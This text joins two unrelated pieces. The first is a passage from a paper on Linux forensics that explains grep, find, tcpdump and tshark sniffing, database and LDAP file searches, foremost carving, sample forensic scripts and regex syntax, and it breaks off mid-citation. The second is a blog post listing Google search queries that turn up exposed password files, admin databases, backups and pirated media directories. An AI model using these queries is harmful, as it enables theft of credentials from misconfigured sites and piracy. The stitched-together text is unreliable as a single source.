sniffing with a grep of the data. The command tcpdump is a tool also commonly found by default with Linux systems—no additional software is typically required—and this tool lets a user elevated privileges (typically) put an interface into promiscuous mode, looking at all of the traffic as opposed to only the traffic that is destined for the host. Detailed information on tcpdump can be found on the man pages. Here is an example that will sniff payload data and write the the data to a file (called “data”): CODE : `sudo tcpdump -vvv -s0 -wdata` The '-vvv' switch controls the level of verbosity. On a typical DSL line running at 1.5 Mbps, the traffic generated by even a very short session of sniffing can often reach many thousands of packets (by very short I mean a few seconds). After dumping an adequate amount of traffic, Ctrl-C will stop the sniffing and return you to the prompt. Grep can then be used for searching through the captured data, as follows: CODE : `grep -aP "how.to.kill" ./data` The -a switch here is used to tell grep to treat the file as text, and print out matching lines. Data captured in this way is frequently marked as binary data, in which case grep will not print out matching lines by default. The pattern might be used in an instance wherein a person has been suspected of plotting a crime (likely murder or an analogous crime in this case). This is quite rudimentary and only should be used as an example; a real case should account for permutations and synonyms of search keywords. The method has significant limitations, the primary one being that tcpdump merely dumps data, it does not have built-in functionality to decode data. Examining tcpdump's output will reveal data passed from source to destination and vice versa without any concern for whether or not such a format is in human-readable form. Probably the most desired traffic is going to be web traffic—oftentimes traffic is left essentially out in the open for easy sniffing, often even with somewhat sensitive information being passed.XLIV The headers can reveal whether or not traffic destined from a given destination will be privy to easy observation via the use of tcpdump or not. Take the following two examples: Encoded data: HTTP/1.1 200 OK..Cache-Control: private, max-age=0..Date: Fri, 19 Feb 2010 05:12:16 GMT..Expires: -1..Content-Type: text/html; charset=UTF-8..Set-Cookie: SS=Q0=bmlnZw; path=/search..Server: gws..Transfer-Encoding: chunked..Content-Encoding: gzip This was generated with a client that attempted a google search. Google gzips traffic, so searching for plaintext keywords in a grep will be fruitless for the payload of HTTP packets. Presumably this is done to save bandwidth from unnecessary traffic. Contrast such with the output of this header: Non-encoded: HTTP/1.1 200 OK..Date: Fri, 19 Feb 2010 05:11:39 GMT..Server: Apache/2.2.10 (Fedora)..Last-Modified: Thu, 18 Feb 2010 14:12:47 GMT..ETag: "4c07c-213-47fe08fb135c0"..Accept-Ranges: bytes..Content-Length: 531..Connection: close..Content-Type: text/html; This would be an example of traffic to a site that does not employ gzipped encoding. The use of tcpdump with such a site would suffice. It is important to note that gzipped encoding is not synonymous with encryption—tcpdump simply lacks the capability of dumping traffic in a form other than that which is passed along the wire. If decoding traffic is necessary, tshark, the command-line counterpart to Wireshark, is a viable alternative. The following form of the command dumps fully decoded packets to the file “data2”:XLV CODE : `sudo tshark -V -s0 > data2` Wherein searches would be performed against the 'data2' file. To users familiar with grep this can be significantly more effective than using Wireshark to accomplish the same thing. To reiterate the point concerning gzipped encoding, tcpdump suffices when circumstances do not require dumping the full contents of packets. When full packets are required—e.g. to rebuild what a suspect was basically presented with at a given page—tshark is a much better choice.XLVI Tshark is also preferable to tcpdump for grepping network traffic for aforementioned reasons. Though neither will pick up encrypted traffic, tshark is able to decompress encoded traffic, allowing the use of grep. In instances where web traffic is desired, often the desired output will be located in a section “Line-based text data: text/html,” so using grep is not necessarily mandatory, but the -b switch with a quick grep search may be helpful in locating which section of the file deserves examination. Another method to cull data would be to specify a capture filter, such as “-f “port 80””.XLVII It's left as an open question as to the specific instances wherein network forensics may come into play. Often, since warrants are served on crimes long since committed, it's likely that an investigator wouldn't need to sniff data off the wire whatsoever. It is a useful tool regardless, if not for the average investigator, then for the systems and network administrators.XLVIII The Find command: The find program can be used to search for specific types of files. The following searches for SQLite files (as identified with their common extension): CODE : `find /home/ -name “.sqlite”` SQLite files can often contain forensically pertinent information; one notable mention is that Firefox stores a treasure trove of information in SQLite databases. Some of this information includes downloads, form history, bookmarks and browsing history. By default this is stored under the .mozilla folder in the user's home directory. The dot signifies that it's hidden, it won't show up to a ls unless the the -a switch is applied to ls when looking at a home directory through a live shell.XLIX The following is a more complex example of find's capabilities. CODE : `find /home/ -type f -mtime -1 -name ".exe"` In turn, the switches dictate to print those files (type f) modified (the 'm' in 'mtime') up to a day ago (-1) whose name ends in “.exe”. On a side note, files with .exe extensions are a rarity on Linux filesystems, and may even be a cause for suspicion in some instances. They are, however, becoming more common with the popularity of wine.L Here is another advanced form of find: CODE : `find . -name ".png" -exec grep -lPa "^\x89\x50\x4E\x47\x0D\0A\x1A\x0A" {} \;` This time find is working on finding files in the current working directory with the apparent extension of “.png” and grep is testing to see if the files have .png file signatures.LI LII One of the main advantages to using find is the easy of searching through additional levels of data such as file names.LIII The following command finds files with an apparent extension of .jpg in the /home directory: CODE : `find /home/ -name ".jpg"` This search is recursive by default. Notice that in this case, the “.” symbol should be taken literally and not as a regex token for any character. Find can separate who owns what (by owner or group): CODE : `find ./ -user root find ./ -group root` Print results with a stipulation of time (in this case, '-mmin' means anything modified less than thirty minutes ago): CODE : `find /var -mmin -30` Finds files with permissions set to 007 (does not match 657, for instance)LIV: CODE : `find ./ -xdev -type f -perm 007` This finds files which are r-w-x for world (the other bits do not matter):LV CODE : `find ./ -xdev -type f -perm -007` Finally, find works well with xargs: CODE : `find /home/toor -name ".txt" \| xargs grep -i "john doe" 2> /dev/null` The '2>' directs stream 2 (stderr) to /dev/null.LVI Database and Directory Service Text searches: The two examples that follow will be searching through a directory service (openLDAP) and a MySQL database; these are two specific examples of an almost infinite amount of permutations of specific circumstances that dictate investigating certain things. For example, a case involving suspected child pornography would have a definite emphasis on multimedia-based searches. Investigating a cracker would involve keywords surrounding such a subculture, and an investigation into piracy would involve searches tailored for such. These examples serve as a guide for how to treat cases with unique circumstances—patterns come secondary to knowing the ins and outs of how these services function. Forensics of this sort are broadly classified as “database forensics,” and deserve a significant amount of dedication to fully appreciate what such a term entails. Books have been written on this topic, rightfully so. This paper is merely the tip of the iceberg about what may be said concerning database forensics—those wishing for more may consult the cited references. Grep and find together can uncover a significant amount about a database or directory service. This becomes increasingly helpful with an increase in the amount of data. MySQL will be discussed first. MySQL has differing storage engines that determine whether or not the following searches will even work. Differing formats will require differing searches. The one format that will be considered is the MyISAM storage engine and the .MYD and .MYI files. This format is purely chosen as a suitable example of finding data related to a MySQL database. Other engines and files types may be as follows, depending on the circumstances: .MRG (MERGE), .ibd (indexes and data for InnoDB), .CSM and .CSV (comma-separated), and .ARZ and .ARM (ARCHIVE).LVII A simple command such as the following will suffice to track down most locations of pertinence to finding database files: CODE : `sudo find / -name “.MYD”` It may be necessary to run this as a privileged user. Locations in which MySQL database files are held are frequently under the ownership of “mysql,” “mysql” group, and as such will not be accessible to non-privileged users. If this concept seems foreign, find information pertaining to file vs. directory permissions.LVIII Alternatively, one could alter the permissions of files and directories recursively: CODE : `chmod -R o+r,g+r,a+r ./dir` This would not be ideal, as it would alter finds based on file/directory permissions. Better to run all searches on restricted directories as a super-user. There are three main types of files related to a single table in a database: .frm, .MYD, and .MYI. Typically these files are prefixed with the name of the table, such as table1.frm. The main value (to the human eye) of .frm files is that they list the column names of a table. .MYI files are indexes and do not allow for ease of grepping data therein (mostly non-ASCII characters). .MYD files are the main table files; they contain all the data held in a given table. MySQL tables are frequently built using batch mode scripts that take administrator input in creating the table and the mysql program reads it in as if it were typed on the command line. One possible avenue for tracking these scripts down (there is no definitive trait of their filename or extension, though .sql would probably be something to try if possible) is to search for data likely to be present in such a file: CODE : `grep -Pri "CREATE (TABLE\|DATABASE)" /home/` If table backups are desired, something to the effect of this would suffice: CODE : `grep -Pr "\-\- MySQL dump" /home/` This captures the typical output of the utility mysqldump, a common tool to dump a batch script for the backup of a database. These aforementioned searches basically allow for a determination of whether or not a database exists, and if this is so, recovering perhaps some of the data. More complex applications might be recovering log files of transactions to recover and/or reverse altered/deleted fields.LIX This is beyond the scope of this paper as simple search tools cannot provide the sort of functionality by which to do this. Directory Services: Directory services are not the usual suspects for a forensic investigation, but given their sparse mention in the literature of the craft, it is useful to discuss such here to serve as an example of pattern matching for an unusual target.LX The directory service employed herein is openLDAP with slapd; other services differ but overall the commonalities should outweigh these.LXI Assuming nothing is known about a directory service beyond the fact that it exists (perhaps not even that) on seized server media, likely the most fruitful search would be to use find to segregate any files with an extension of .ldif. LDAP Data Interchange Format (LDIF) files are commonly used as a form by which to load new entries into a directory via the use of a tool such as ldapadd. With openldap the configuration files are typically held (in Debian) under /etc/ldap/. The databases themselves are stored in a binary format elsewhere, under /var/lib/ldap. Files and logs stored in these locations are about as readable as a binary executable with strings of code interlaced with ASCII text. Grep makes short work of locating specific entries within files once these files are discovered. Barring prohibitive file/directory permissions locating a known entry is no more difficult than including a keyword as a pattern, such as the following:LXII grep "ou=xyz,dc=site,dc=com" ./input.ldif A grep of the distinguished name typically works, as the distinguished name is written often in plain-text in files associated with ldap services. CODE : `grep -r “dc=site,dc=com” /var/lib/` And the following will capture files with a particular pattern and copy matches to a particular destination: CODE : `sudo grep -lr "dc=home,dc=com" /var/lib/ldap/ \| xargs sudo cp -t /home/user/Desktop LXIII sudo find /etc/ -name ".ldif" \| xargs sudo cp -t /home/user/Desktop/ldiffiles/` OpenLDAP and LDAP (and MySQL for that matter) are not commonly employed by the average user; there is not much documentation available for directory service forensics—until such a time wherein they are more commonly used and encountered in forensic investigations, directory service forensics is mostly a novelty; however, these principles are applicable to other, more viable, forensic applications. Other Instances of Grep:* Though grep as a word is primarily denotational of the program, it has as well come to connote the general actions of finding information. Grep is as much a noun as it is a verb; additionally, many related programs have adopted naming conventions which are amalgamations of this word and that adhere to the original program's spirit. A few noteworthy programs are as follows:LXIV ngrep: network grep, searches network trafficLXV sgrep: searches for structured patterns using region expressions pcregrep: grep that uses PCRELXVI ext3grep: grep-like program designed to assist recovering data from EXT3 filesystems agrep: this program stands for “approximate-grep,” and allows for a number of errors in the search pattern (fuzzy spelling) beagle: provides indexing featuresLXVII Foremost: Carving and Sorting Until this point, grep has been used to sort through files allocated on a disk. Deleted or otherwise unallocated files have been neglected. Foremost is a tool that allows files of numerous sorts to automatically and effortlessly be exported from a dd disk image into another folder for easy viewing, separated by file signatures. Foremost's invocation in its simplest form is seen in the following: CODE : `foremost -i image.dd -o image.dd.folder` After processing has completed, changing directory into the image.dd.folder will show folders separating files by file type. If the standard signatures are insufficient for a particular sort of file, additional ones may be added in the /etc/foremost.conf file. Help is displayed in typical command-line fashion, with the -h switch.LXVIII *Simple Forensics Scripts:* Scripting common searches into an executable file provides an easy method for quickly processing media in a controllable fashion. In Bash on Linux (as well as other shells of course) typed commands can then be strung together an ran in analogous fashion to a program, wherein each line is essentially equivalent to a typed line on the terminal. The following code is an example that accomplishes some basic forensics tasks.LXIX CODE : #!/bin/bash echo "Example forensic script. Copies .png and .jpg files to specified directory. Verifies file signatures. Location to be searched passed at command argument 1." read pause echo "working" # find files with a .png extension and see if they contain a png file signature. find $1 -name ".png" -exec grep -Pl "^\x89\x50\x4e\x47" '{}' \; > ./picslist # do the same to apparent jpg files. Append matches to the file picslist find $1 $ -name ".jpg" -o -name ".jpeg" $ -exec grep -Pl "^\xFF\xD8\xFF" '{}' \; >> ./picslist # grep for patterns in the location specified by $1 (command argument 1), output results to a file. grep -Pr "1337.haX0Rz\|where.to.dump.a.body\|murder" $1 > keyword_results # find files modified within 10 daysand write results to a file. find $1 -mtime -10 > modified_file_list echo "complete" # process results for display in browser via php script "sort.php" php sort.php > test firefox test #optionally, remove temporary files #rm picslist #rm test The accompanying sort.php file: CODE : <?php //picslist has list of all picture paths. $file = "./picslist"; $handle = fopen($file, 'r'); //$data = fread($handle, filesize($file)); $file2 = "./modified_file_list"; $handle2 = fopen($file2, 'r'); echo "<html>"; //process each path and print link to picture while (fgets($handle) !== FALSE) { $data = fgets($handle); echo "<a href=\"".$data."\"> Path: ".$data."</a><br></br>"; echo "<img src=\"".$data."\" height=\"100\" width=\"100\"></img><br></br>"; } fclose($handle); echo "<h1>Modified file listing:</h1><br></br>"; //this code does as above but with links to each of the modified files while (fgets($handle2) !== FALSE) { $data2=fgets($handle2); echo "<a href=\"".$data2."\"> Path: ".$data2."</a><br></br>"; } fclose($handle2); echo "</html>"; ?> The power of scripting comes from automating anything that would typically be done by hand otherwise. Another easily automated task might be commands to make a forensic image: CODE : `#!/bin/bash dd if=$1 \| split -d -b 700m - image. cat image. >> $2` This would take a specified device, image it in 700 MB chunks (unnecessary but helpful for burning to discs), and then concatenates the chunks into a single full image.LXX The following would be a brief continuation of the former, making an image, hashing the result for verification, and mounting the resultant image to a folder and doing a grep search on it: CODE : `#!/bin/bash dd if=$1 \| split -d -b 700m - image. cat image.* >> $2 #dd if=$1 of=$2 cat image.* \| md5sum > $2.split.md5 md5sum $2 > $2.md5 mkdir mounted sudo mount $2 -o loop -oro ./mounted grep -Prl "warez\|piracy\|torrents?" ./mounted/ > $2.grep.result foremost -i $2 -o $2.output nautilus $2.output` The $1 and $2 signify command arguments. After doing a chmod on the script file to allow its execution, typing in something to the effect of ./script.sh command1 command2 runs the file “script.sh” in the current directory, with the “command1” and “command2” passed to the $1 and $2 in the script respectively. This creates a raw dd image comparable to FTK Imager's raw image (the two resultant images can be verified to be the same). The image is mounted and then grep is used to search through the mounted image. Foremost runs after the grep search, and the folder is opened via nautilus for each viewing. Expansions/revisions upon this can and should be added per case requirements. Should circumstances necessitate compression, this can be accomplished with the likes of gzip, bzip2, tar, or similar utilities. Using gzip is as simple as “gzip [image name],” whereafter the image will be named [image name].gz when possible.LXXI Linux as a forensics platform: Hopefully by this point it has been shown that many aspects of forensic investigation can be done via the use of a no cost operating system, including imaging, file carving and exportation, keyword searching, and sorting by file types.LXXII Many versions of Linux can be had for no monetary cost, and the freedom to tweak and adjust aspects as needed are of a significant benefit especially in forensic investigations involving unique circumstances.LXXIII Proprietary firms that make and distribute forensic software are swayed principally by monetary concerns can conceivably leave investigators out to pasture if the latter's needs are not matched by the goals of the former. The power and control over open-source tools allows for modifications and advancements beyond the concerns of closed-source software.LXXIV Brian Carrier also argued that open source tools more effectively meet the criteria for forensic evidences' admissibility per the “Daubert test.”LXXV Linux however may have higher barriers to entry than does Windows, in which case it must be determined whether or not the costs of a windows system (and the accompanying Windows forensics tools) balance or are outweighed to the benefits of using Linux. This entry barrier is solely on a per-user basis given the preponderance of investigators primarily dealing with Windows.LXXVI One of the criticisms of Linux involves mounting drives as read only. On face value, this can be accomplished easily with something such as the following: CODE : `mount -oro /dev/sdb3 /media/imaged/` However, a process called journal recovery with certain file-systems such as Ext3/4 and others may change the evidence. There is an option 'noload' or 'loop' that supposedly corrects this issue, but given the ease by which one may neglect to include it, and the ever-present concern of some unforeseen circumstance that might cause the kernel to write to the drive, it is prudent to use a hardware write-blocker.LXXVII LXXVIII Another issue involves auto-mounted devices, such as USB drives and such. Typically, when these are plugged into most Linux systems, they are mounted without asking the user. Doing this with evidentiary media is a poor forensic practice in most circumstances. As mentioned, the best by far is to use a hardware write-blocker, but disabling processes that automount should work as well.LXXIX LXXX An issue specific to grep is the lack of support for Unicode-16 and U-32, which shall become an increasingly large obstacle in proportion to the frequency of such encountered in investigations.LXXXI There are some other criticisms to using Linux for investigations: Linux can't see the last sector on a device with an odd number of sectors.LXXXII But probably the most salient criticism of using Linux as the primary forensic medium for most is the higher barrier to entry given that you must learn a good deal of commands and how to navigate via a console instead of GUI-based tools. This is no longer fully convincing with tools such as Autopsy coming onto the market; though Autopsy lacks the flair of EnCase and FTK, it does many of the same things.LXXXIII The detriments need to be fully explored by any investigator desiring a transition from Windows to Linux forensics tools—one need be mindful that any different operating system will present different problems. Despite these criticisms, benefits of Linux abound. The first is a greater familiarity with a different tool set. Linux is especially prevalent on high-end systems. Four-fifths of the world's supercomputers run LinuxLXXXIV, and live forensic analysis on one of these would be the worst possible time to acquaint one's self with the basics of grep. Knowing at least basic knowledge of Linux lends to a greater degree of competency with non-Windows OS, including Mac OS X, Solaris, and others.LXXXV LXXXVI LXXXVII It would be remiss to neglect the costs of Linux versus proprietary alternatives. Due primarily to the relative easy by which forensics investigations may be conducted with a license of either EnCase or FTK, coupled with a demand for forensics investigators that would be otherwise estranged from the field in lieu of such a productLXXXVIII, a premium has been (perhaps rightfully so) charged for the use of their products in the form of hefty licensing fees. Though this paper only serves as a sliver of the material needed to match the intricacies of competing products, if a community effort were to materialize around forensically-oriented concerns, it is definitely conceivable that EnCase and FTK would have a competitor selling software at an extremely attractive price.LXXXIX Need has brought forth such software as GIMP (free alternative to Photoshop), OpenOffice (alternative to Microsoft Office), and thousands of others; analogous forensic software is less a fantasy than a probable future.XC Lastly, it has to be asked whether the field of forensics is benefited by a pair of relatively monopolistic businesses. Though this is enough to ensure healthy competition to further improve one product over said product's competition, any enthusiastic programmer wishing to contribute to the effort is denied the opportunity to do so by the very nature of proprietary code. The arrangement at present primarily benefits the producers and not the users of forensic software. Ultimately, the decision over which of these two competitors is better is left up to the reader's discretion. In the future, hopefully GNU/Linux will become more a competitor to Windows as a platform of computer forensic investigation. Regardless of whether or not Linux gains significant market share in forensic software, additional option will increase the pressure to optimize software with additional features to benefit end-users. Grep command glossary:XCI XCII grep : program that prints lines matching a pattern. Equivalent to grep -G, for basic regular expressions (i.e. BRE) Egrep : 'extended grep', equivalent to grep -E grep -P : grep using Perl syntax. Most uses of grep in this paper use grep -P. -r : recursively search through folders. -i : case insensitivity -f : obtain patterns from a specified file (one per line) -v : select non-matching lines (rarely used in this paper) -c: output file and 'count' the number of occurrences of the pattern -a : treat all files as text. Use this to find data that may be hidden in binary files -l : print name of file. Stops after first match. -m [#]: stop reading a file after a certain number of matches -n : Prints out the line number that matches the pattern -A [#]: print # lines after a match -B [#]: print # lines before a match --exclude-dir=[DIRPATH]: exclude a directory. Useful for avoiding recursive loops. -w : print all lines containing pattern as a word (the pattern 'eye' would match 'eye' but not 'eyelid') Notes on Regex Symbols and Glossary: XCIII Global: this term refers to an option by which multiple matches can be found in a given string/file. The tools mentioned in this guide are global by default. The opposite of this would stop after the first match. Case sensitivity: determines whether or not a pattern such as 'google' is matched in the data "gOOgle" or "GOOGLE" or not. With grep, the -i switch can enable case insensitivity, in which case the aforementioned example would match. Extended: This is somewhat an ambiguous term. It can refer to ERE, extended regular expressions, as in POSIX ERE, or more generally, to a feature that ignores white space in the searched data. Dotall: this determines whether the wildcard '.' will match newlines or not. Multiline: most often pertinent in the scripting languages' utilization of regular expressions, this determines the functionality of the anchors ^ and $, whether they are matched only by the start of the string and its end, or whether newlines will cause said anchors to match the start and end of each respective line. Character classes: . : matches any character \w : matches any word character \W : negation of \w \d : matches any digit \D : negation of \d \s : matches a whitespace character \S : negation of \S, any non-whitespace character Character sets: [\WxZ] : braces act as an OR statement, in which anything inside may occur for a single character. In said example, either \W, x, or z may be matched. May also be a range, such as [a-z], or a set of ranges, [a-z0-4] [^abc] : matches a character that is not a, b, or c. Special characters: \t : tab \r : carriage return \n : new line/line break \xAB : hex character (e.g. \x20 for a space, \x0A for a new line) Characters which typically need to be escaped for literal match: \, ., +, , ?, ^, $, [, ], \|, {, }, /, ', #, (, ) Anchors:* \b : matches a word boundary, typically white space before and after words, or the start of a line \B : negation of \b ^ : matches the start of a string* $ : matches the end of a string* : discussed in this paper what precisely this entails Lookaround:* abc(?=afas): Lookahead. This would look for "afas" after the pattern "abc." "abc" would not be included in the result. abc(?!afas): Negated lookahead. E.g. if afas is directly after abc, discard the result. XCIV (?<=afas)abc: Lookbehind. Does the same as lookahead but looks before a given pattern. An example of this would be "afasabc". The lookaround pattern is not included. (?<!afas)abc: Negated lookbehind. If 'afas' precedes 'abc,' discard the result. Quantifiers: ? : makes the preceding character optional. Works on any token. * : matches zero or more of the preceding token. ?: matches zero or more. "Lazy" match, matches as few characters as possible + : Matches 1 or more of preceding token. Greedy, will match as much as possible. +? : Matches zero or more. Alternative form of ?. {3} : match preceding token exactly three times. {10,12} : match preceding token 10-12 times. {3-7}? : Match preceding 3-7 times. Lazy match, will match as little as possible. Grouping: (cat) : groups tokens together in a capture group. (?:cat): groups tokens together, no capture group. Capturing groups are a way of storing matched substrings that can be referenced later. These are mostly useful for scripting (e.g. with sed and other applications)—less so for searching a hard drive.XCV Alternation: \| : the 'pipe' character. Allows for the matching of groups. cat\|dog matches 'cat' or 'dog' literally. To apply this within a larger expression, quotes may be used to separate groups. To match 'catog' or 'cadog', the pattern ca(t\|d)og would suffice. *Endnotes/Citations:* I http://en.wikipedia.org/wiki/Pattern_matching II http://en.wikipedia.org/wiki/Regular_expressions III http://www.catb.org/~esr/jargon/html/G/grep.html IV http://www.regular-expressions.info/refflavors.html V Regular expressions composed for tool should never be carted over to another without significant testing. Taking an EnCase regular expression keyword search of any significant complexity and using it on grep with POSIX BRE syntax would be disastrous. There may not even be a warning, and special characters would likely be taken literally. Evidence loss would be a likely consequence. VI http://perldoc.perl.org/perlre.html VII The PCRE manual, available via 'man pcre' VIII Another simple example of the various forms of regex is seen regarding delimitation. Expressions are often shown as “[abc]{3}”, [abc]{3}, and “/[abc]{3}/”, each of which may be correct or incorrect given the specific tool in use, even among a given standard (i.e. Perl regex). Because this paper principally deals with a few programs, many of these nuances are ameliorated, but their presence deserves mention. IX This is not intended to imply that it is the only regex format to do so. X Forensic article on Perl syntax in forensics: http://blogs.sans.org/computer-forensics/2009/04/17/forensics-and-perl-fu/ XI Any notable exceptions, such as grep without the -P switch, use patterns that should be comparable with Perl, PCRE, and other formats. XII http://www.regular-expressions.info/tutorial.html XIII PHP has a number of functions that allow access and use of MySQL. PHP and MySQL do not by necessity need to be used together, and the use of one does not imply the other. XIV http://www.regular-expressions.info/php.html XV The reason for discussing PHP in lieu of Perl is solely due to authorial preference, due to the fact that though PHP uses PCRE, this is designed to mimic Perl syntax anyway. XVI http://regexlib.com/DisplayPatterns.aspx?cattabindex=4&categoryId=5 XVII Most searches will probably be for keywords. Even assuming alternation, these are relatively simple to construct. XVIII There will obviously be far fewer example regular expressions than could have been incorporated into such a paper, being as the number of expressions possibly relevant is limited only by the imagination. These were primarily withheld on account of a desire for a reasonably terse discussion about regular expressions in particular instances—books have been written on the subject which might serve to better elucidate readers of different expressions of pertinence. XIX Henceforth I will mostly refer to GNU/Linux as Linux solely to conserve space and due to habit. See Free as in Freedom for a better understanding of this distinction. XX Readers unfamiliar with grep and/or regex should see the glossary of terms and the synopsis of the grep manual at their representative sections. XXI Grep doesn't search through free space/slack space unless you specify the /dev entry. Doing this is admittedly messy. For a tool that helps with this see: http://www.sleuthkit.org/autopsy/help/grep_lim.html XXII This search would be useless except on a live machine or for testing purposes. To stick to a consistent format, this will assume that searches are being done on a live system, as opposed to an imaged system. XXIII Live analysis is beyond this paper's scope and should not be attempted without a full understanding of the risks involved. XXIV Note that it would alter it somewhat. For instance, a history entry would be added to the .bash_history file of a live machine for each typed line in the Bash shell XXV http://learnlinux.tsf.org.za/courses/build/shell-scripting/ch01s04.html is one such helpful source XXVI http://en.wikipedia.org/wiki/File_descriptor XXVII If one cannot afford EnCase, similar testing may be done with FTK or online at http://www.gskinner.com/RegExr/ . Also mentionable is JGSoft products, especially Regex Buddy, which is extremely useful for developing regular expressions. XXVIII See http://www.ubuntu.com/GetUbuntu/download for one very popular distribution. XXIX If these examples do not work, consider trying a downloadable live cd of Ubuntu Linux, on which these have been thoroughly tested. I am not familiar with the differences between Bash and other shells in depth. XXX This is derived from experience and is not necessarily mandatory. XXXI Due to the fact that I was unable to tease a clear answer concerning the precise location of EXIF metadata online, the broad range of 6-30 characters preceding its occurrence should suffice. XXXII This feature was added to FTK 3.0 when “expand compound files” was checked in the preprocessing selection. I am still unaware of any such feature for EnCase. XXXIII The reason being for this is that Exif metadata can be used to track down specific information tagged about the picture, such as the make and model of the camera. Frequently, these things are listed in readable format upon dumping the contents of a Exif-tagged image; utilities can parse out the less visible aspects, such as geolocation and timestamps. XXXIV http://www.regular-expressions.info/email.html XXXV http://www.regular-expressions.info/examples.html XXXVI Fully, what the man page says is as follows : “-P, --perl-regexp experimental and grep -P may warn of unimplemented features. ” XXXVII I'm quite sure this is a bug. Perhaps one reason for labeling -P as “experimental” in the man pages. XXXVIII A regular expression for credit cards would have little or nothing to do with crimes such as media piracy. Additionally, any investigator doing explicit searches for material not related to the warrant that justified a given seizure of assets may end up jeopardizing the admissibility of any evidence found therein. So if the reasons why serious investigators should know how to construct at least basic regular expression searches has not already become plainly evident, perhaps now it has. Searching for things not dictated by a search warrant endangers evidence admissibility. XXXIX The quotes are actually optional for this expression. XL This script is most helpful over repeated investigations. It can save a good deal of typing, depending upon the number of keywords, and since keywords are saved to a file, they're reusable. XLI This was done on a small test file, and would likely change a good deal reflecting this variable. Again, this example is purely illustrative. XLII The alternations used to get to such large amounts (i.e. 1400+) were repeated eventually. The best test would be to use all unique alternations, as grep may somehow parse out repeated (identical) alternations, but I don't see this reflected anywhere in the documentation. XLIII If of value, my script can be used with or without attribution, and altered by anyone in any way XLIV This continues to be a serious problem for innocent end-users, as well as potentially a huge boon for investigators, though the former is much more likely to realize it than the latter on account of a general lack of specific interest and procedures in network forensics, while sniffing is realized to the fullest by criminal elements hoping to find low-hanging fruit, network traffic transmitted in clear-text. XLV An intriguing issue with this is that oftentimes long lines of source code (such as is expected in pages that do not separate lines frequently, but rather mash them together so as to partially obfuscate the reading of the source) are “[truncated]” under the section “Line-based text data:”. This issue appears to not easily be resolvable, and should be considered in cases where full fidelity source code is desired in sniffing. XLVI Wireshark too is also excellent, and is perhaps even easier to deal with for users without an intimate knowledge of the console (it is much more popular, probably due primarily to the GUI). The primary reason why tshark is being discussed at the expense of the other is that in many circumstances a GUI will not be available; these are often eschewed for their unreliability on servers. Tshark will be the only alternative as Wireshark requires a GUI to operate. Installing additional programs on a live system is almost universally unacceptable in the typical forensic context. Assuming that it is permissible, wireshark may be installed by the command “sudo apt-get install wireshark” (on Ubuntu and Ubuntu based systems) or “yum install wireshark” (on Red Hat-based systems). These commands should resolve any dependencies as well. If in doubt install Wireshark on the non-subject system and sniff traffic via a hub. XLVII Capture filters are undoubtedly one of the most important features of a sniffer. The example presented captures all traffic, but as such, the resultant file can quickly reach huge proportions. Capture filters help to disregard non-necessary data from being written to the output file. XLVIII In-house forensics experts might frequently come into gathering evidence. The following details one such instance where they may be needed: http://blogs.sans.org/computer-forensics/2009/05/07/deconstructing-a-webserver-attack/ XLIX Hidden folders and other small facts are thrown in throughout this paper; though extraneous to the paper's primary focus, these things become crucial to the minority of readers I imagine could be ignorant of them. L Wine being a software program allowing one to run Windows programs on Linux. LI http://content.hccfl.edu/pollock/unix/findcmd.htm gives helpful information concerning the find command LII The file signature for PNG images is taken from here: http://www.garykessler.net/library/file_sigs.html LIII Commonly referred to as metadata, or data of data. A simple example of this would be to hash a file and change the file's name and verify it once again. The data is unchanged, and the hash remains the same. The metadata has been changed. LIVInvolves the use of -xdev, useful for not crossing mount points. Beyond the scope of this paper, more on this is available here: http://forums13.itrc.hp.com/service/forums/questionanswer.do?admit=109447627+1271729811024+28353475&threadId=1285730 LV A better explaination of this: http://linux.about.com/od/commands/a/blcmdl1_findx.htm LVI Much more could be said about this. Do a man on xargs to start. There are numerous resources available online as well. LVII http://www.cbtnuggets.com/webapp/product?id=508 Taken from “Managing Tables and Indexes Part 1” LVIII http://www.dartmouth.edu/~rc/help/faq/permissions.html LIX https://www.blackhat.com/presentations/bh-usa-07/Fowler/Presentation/bh-usa-07-fowler.pdf Fowler also wrote a book entitled SQL Server Forensic Analysis that deals with database forensics in depth LX The typical directory service can be thought of as a white pages; specifically, directory services are utilized in instances where reading is given precedence to writing. Directory services are optimized databases of sorts for reading over writing. Many applications of directory services involve user accounts and information associated with such. Directory services employ the use of LDAP, also associated with single sign-on capabilities that allow a user to access disparate aspects (e.g. different areas that require authentication) of a set of systems without having to authenticate to each of them in turn. LXI More specifically, the commonalities of LDAP syntax should carry over into other programs. File locations and other aspect of differing programs will be completely different. LXII This exact search is exemplary only. Barring a very big ldif file, this search wouldn't be an effective use of one's time. LXIII http://www.cyberciti.biz/faq/linux-unix-bsd-xargs-construct-argument-lists-utility/ Good introduction to the xargs command. LXIV These were taken from http://packages.ubuntu.com/search?keywords=grep and is likely not a comprehensive list. LXV This paper has demonstrated features roughly equivalent to this program. LXVI Given that the -P switch is built into grep, the use of this tool was strategically neglected from the larger portion of this paper by reason of the greater popularity of the standard grep program. LXVII http://beagle-project.org/Main_Page LXVIII More information concerning foremost can be found via man foremost or at http://foremost.sourceforge.net/ LXIX As this is a forensics paper first, and a software development paper second, I fully expect my code to be unoptimized. LXX I got the splitting of images in part from this article: http://www.forensicfocus.com/linux-dd-basics LXXI http://www.cyberciti.biz/howt

Google Hacking Codes-

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:43:00 +0000



Application security vendor Fortify reported in 2006 that 20 percent to 30 percent of the attacks it recorded as part of a six-month study came as a result of some form of search engine hacking. Google is not particularly enamored by the efforts of some of its users to use its index for malicious gain. "As part of Google's efforts to index all of the information online we find that on occasion malicious executable files become available to users through Google Web search," Megan Quinn, a Google spokeswoman, told internetnews.com. "We deplore these malicious efforts to violate our users' security. "When possible, we endeavor to shield our users from these executable files," Quinn added. "However we always encourage users to keep their security software up-to-date to ensure the safest Web surfing experience." But what kind of Codes are available I hear you all ask; Well here's just a few of them I've found out about. . . Interesting Searches… * Source http://www.i-hacked.com/content/view/23/42/ * intitle:"Index of" passwords modified * allinurl:auth_user_file.txt * "access denied for user" "using password“ * "A syntax error has occurred" filetype:ihtml * allinurl: admin mdb * "ORA-00921: unexpected end of SQL command“ * inurl:passlist.txt * "Index of /backup“ * "Chatologica MetaSearch" "stack tracking:" * inurl:passwd.txt …and this one is just priceless… * “login: ” “password= ” filetype:xls Listings of what you want * change the word after the parent directory to what you want * "parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums * "parent directory "Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums * "parent directory " Gamez -xxx -html -htm -php -shtml 